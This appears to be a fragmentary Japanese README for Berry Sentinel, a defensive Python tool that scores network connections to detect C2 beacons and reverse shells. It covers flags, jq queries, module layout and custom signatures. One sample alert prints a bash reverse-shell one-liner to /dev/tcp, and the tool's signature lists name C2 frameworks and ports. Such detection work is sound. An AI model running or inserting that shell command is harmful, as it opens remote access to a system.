 ║
╚══════════════════════════════════════════════════════════════════════════════════╝
* **cursesを使用した対話型TUI** : ↑↓ナビゲーション、接続詳細、統合キルエンジン
* **ビーコン検出** : 定期的な間隔でC2接続を識別(Cobalt Strike ~60秒、Empire ~5秒など)
* **14以上のC2フレームワーク認識** : Meterpreter、Cobalt Strike、Sliver、Empire、Havoc、Brute Ratel、Pupy、Merlin、Covenant、Mythic...
* **ディープスキャン(root権限)** : プロセスメモリ、RWX領域、環境変数、ディスクから削除された実行ファイルを分析
* **Bulletproof Collection** : 並列で5つの収集方法(/proc/net、ss、netstat、psutil、lsof)を使用し、自動重複排除
* **クロスプラットフォーム** : Linux、macOS、Windows、Android/Termux
* **JSONおよびログ出力** : jq、ELK、Splunk互換のJSONL形式でアラートを出力
* **基本モードではゼロ依存関係(stdlibのみ)** ; `psutil`はオプションで追加カバレッジを提供
git clone
python3 BerrySentinel.py --no-tui # Termuxではcursesが利用できない場合があります
curl -O
--all, -a ローカル/ループバック接続も含める(リモートに加えて)
--interval N, -i N N秒ごとに更新(デフォルト: 2、最小: 0.5)
--log FILE, -l FILE アラートをファイルに保存(JSONL形式)
--whitelist LISTA 無視するIPまたはCIDR(カンマ区切り)
--verbose, -v 疑わしいものだけでなく、すべての接続を表示
--no-tui cursesを使用しないレガシーモード(クラシックなスクロール、より移植性が高い)
python3 BerrySentinel.py --log /var/log/sentinel.log --json
python3 BerrySentinel.py --whitelist 192.168.0.0/16,10.0.0.0/8 --interval 5
python3 BerrySentinel.py --no-tui --no-color | tee monitoring.txt
sudo python3 BerrySentinel.py --all --interval 10 --log sentinel.log --json
各接続には、検出された指標に基づいて**0から100のスコア** が割り当てられます:
Berry Sentinelは、以下のフレームワークのシグネチャを含みます(ポート、プロセス名、コマンドライン、ビーコンパターンによる評価):
"cmd": "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1",
"tags": ["SHELL→NET", "PIPE-REDIR", "C2P(4444)"],
jq 'select(.sev == "CRÍTICO")' sentinel.log
jq '[.pid] | unique' sentinel_export.json
jq 'select(.sigs | contains(["CobaltStrike"]))' sentinel.log
│ ├── SHELL_BINS, SCRIPT_ENGINES — シェルとインタプリタの名前
│ ├── C2_SUSPECT_PORTS — 一般的なC2ポート
│ ├── PRIVATE_NETS — プライベートIP範囲
│ └── C2_SIGNATURES — 既知のフレームワークシグネチャ
│ ├── parse_proc_net_content() — /proc/net/* パーサー
│ ├── build_inode_pid_map() — inode→PIDマップ
│ ├── get_proc_info() — /proc経由のプロセス情報
│ └── get_proc_info_psutil() — psutil経由のプロセス情報
│ └── match_signatures() — C2シグネチャマッチング
│ ├── LegacyTUI — cursesなしのANSI出力(フォールバック)
* `psutil` — オプションですが強く推奨(`pip install psutil`)
追加の依存関係がなくてもツールはPythonのstdlibで動作します。`psutil`は、`/proc`が存在しないmacOSやWindowsでカバレッジを追加します。
from BerrySentinel import C2Signature, C2_SIGNATURES
description="RAT interno corporativo no autorizado",
{"type": "cmdline", "value": r"mi_rat\.py|rat_agent"},
{"type": "procname", "value": r"^mi_rat$"},
all=True, interval=10, log=None, json=False,
whitelist="192.168.0.0/16", no_color=True,
verbose=False, top=100, diag=False, no_tui=True
print(f"[ALERTA] PID {conn.pid} ({proc.name if proc else '?'}) "
f"→ {conn.remote_addr}:{conn.remote_port} "
f"score={conn.score:.0f} tags={conn.tags}")
from BerrySentinel import Engine, Conn, Sev
KNOWN_C2_IPS = {"203.0.113.1", "198.51.100.42"}
Berry Sentinelは、**自身のシステム** または明示的な許可を得たシステムを**監視** するために設計されています。キルエンジンはユーザーが明示的に要求した場合にのみ動作します。責任を持って、該当する法令に従って使用してください。